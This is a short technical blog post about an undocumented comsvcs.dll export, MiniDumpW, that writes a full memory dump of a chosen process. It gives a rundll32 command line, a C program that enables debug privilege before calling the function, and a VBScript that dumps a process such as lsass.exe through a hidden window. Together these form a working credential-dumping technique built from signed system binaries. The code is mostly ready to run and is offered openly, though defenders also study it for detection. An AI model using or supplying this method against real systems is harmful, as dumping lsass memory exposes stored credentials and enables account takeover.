This will be a very quick code-oriented post about a DLL function exported by comsvcs.dll that I was unable to find any reference to online.
UPDATE: Memory Dump Analysis Anthology Volume 1 that was published in 2008 by Dmitry Vostokov, discusses this function in a chapter on COM+ Crash Dumps. The reason I didn’t find it before is because I was searching for “MiniDumpW” and not “MiniDump”.
While searching for DLL/EXE that imported DBGHELP!MiniDumpWriteDump, I discovered comsvcs.dll exports a function called MiniDumpW
which appears to have been designed specifically for use by rundll32. It will accept three parameters but the first two are ignored. The third parameter should be a UNICODE string combining three tokens/parameters wrapped in quotation marks. The first is the process id, the second is where to save the memory dump and third requires the keyword “full” even though there’s no alternative for this last parameter.
To use from the command line, type the following: "rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full""
where “1234” is the target process to dump. Obviously, this assumes you have permission to query and read the memory of target process. If COMSVCS!MiniDumpW
encounters an error, it simply calls KERNEL32!ExitProcess
and you won’t see anything. The following code in C demonstrates how to invoke it dynamically.
BTW, HRESULT
is probably the wrong return type. Internally it exits the process with E_INVALIDARG
if it encounters a problem with the parameters, but if it succeeds, it returns 1. S_OK is defined as 0.
#define UNICODE #include <windows.h> #include <stdio.h> typedef HRESULT (WINAPI *_MiniDumpW)( DWORD arg1, DWORD arg2, PWCHAR cmdline); typedef NTSTATUS (WINAPI *_RtlAdjustPrivilege)( ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled); // "<pid> <dump.bin> full" int wmain(int argc, wchar_t *argv[]) { HRESULT hr; _MiniDumpW MiniDumpW; _RtlAdjustPrivilege RtlAdjustPrivilege; ULONG t; MiniDumpW = (_MiniDumpW)GetProcAddress( LoadLibrary(L"comsvcs.dll"), "MiniDumpW"); RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress( GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege"); if(MiniDumpW == NULL) { printf("Unable to resolve COMSVCS!MiniDumpW.\n"); return 0; } // try enable debug privilege RtlAdjustPrivilege(20, TRUE, FALSE, &t); printf("Invoking COMSVCS!MiniDumpW(\"%ws\")\n", argv[1]); // dump process MiniDumpW(0, 0, argv[1]); printf("OK!\n"); return 0; }
Since neither rundll32 nor comsvcs!MiniDumpW
will enable the debugging privilege required to access lsass.exe, the following VBscript will work in an elevated process.
Option Explicit Const SW_HIDE = 0 If (WScript.Arguments.Count <> 1) Then WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan") WScript.StdOut.WriteLine("Usage: procdump <process>") WScript.Quit Else Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp ' get process id or name pid = WScript.Arguments(0) ' connect with debug privilege Set fso = CreateObject("Scripting.FileSystemObject") Set svc = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}") ' if not a number If(Not IsNumeric(pid)) Then query = "Name" Else query = "ProcessId" End If ' try find it Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _ query & " = '" & pid & "'") If (list.Count = 0) Then WScript.StdOut.WriteLine("Can't find active process : " & pid) WScript.Quit() End If For Each proc in list pid = proc.ProcessId str = proc.Name Exit For Next dmp = fso.GetBaseName(str) & ".bin" ' if dump file already exists, try to remove it If(fso.FileExists(dmp)) Then WScript.StdOut.WriteLine("Removing " & dmp) fso.DeleteFile(dmp) End If WScript.StdOut.WriteLine("Attempting to dump memory from " & _ str & ":" & pid & " to " & dmp) Set proc = svc.Get("Win32_Process") Set startup = svc.Get("Win32_ProcessStartup") Set cfg = startup.SpawnInstance_ cfg.ShowWindow = SW_HIDE cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _ pid & " " & fso.GetAbsolutePathName(".") & "\" & _ dmp & " full" Call proc.Create (cmd, null, cfg, pid) ' sleep for a second Wscript.Sleep(1000) If(fso.FileExists(dmp)) Then WScript.StdOut.WriteLine("Memory saved to " & dmp) Else WScript.StdOut.WriteLine("Something went wrong.") End If End If
Run from elevated cmd prompt.
No idea how useful this could be, but since it’s part of the operating system, it’s probably worth knowing anyway. Perhaps you will find similar functions in signed binaries that perform memory dumping of a target process. 🙂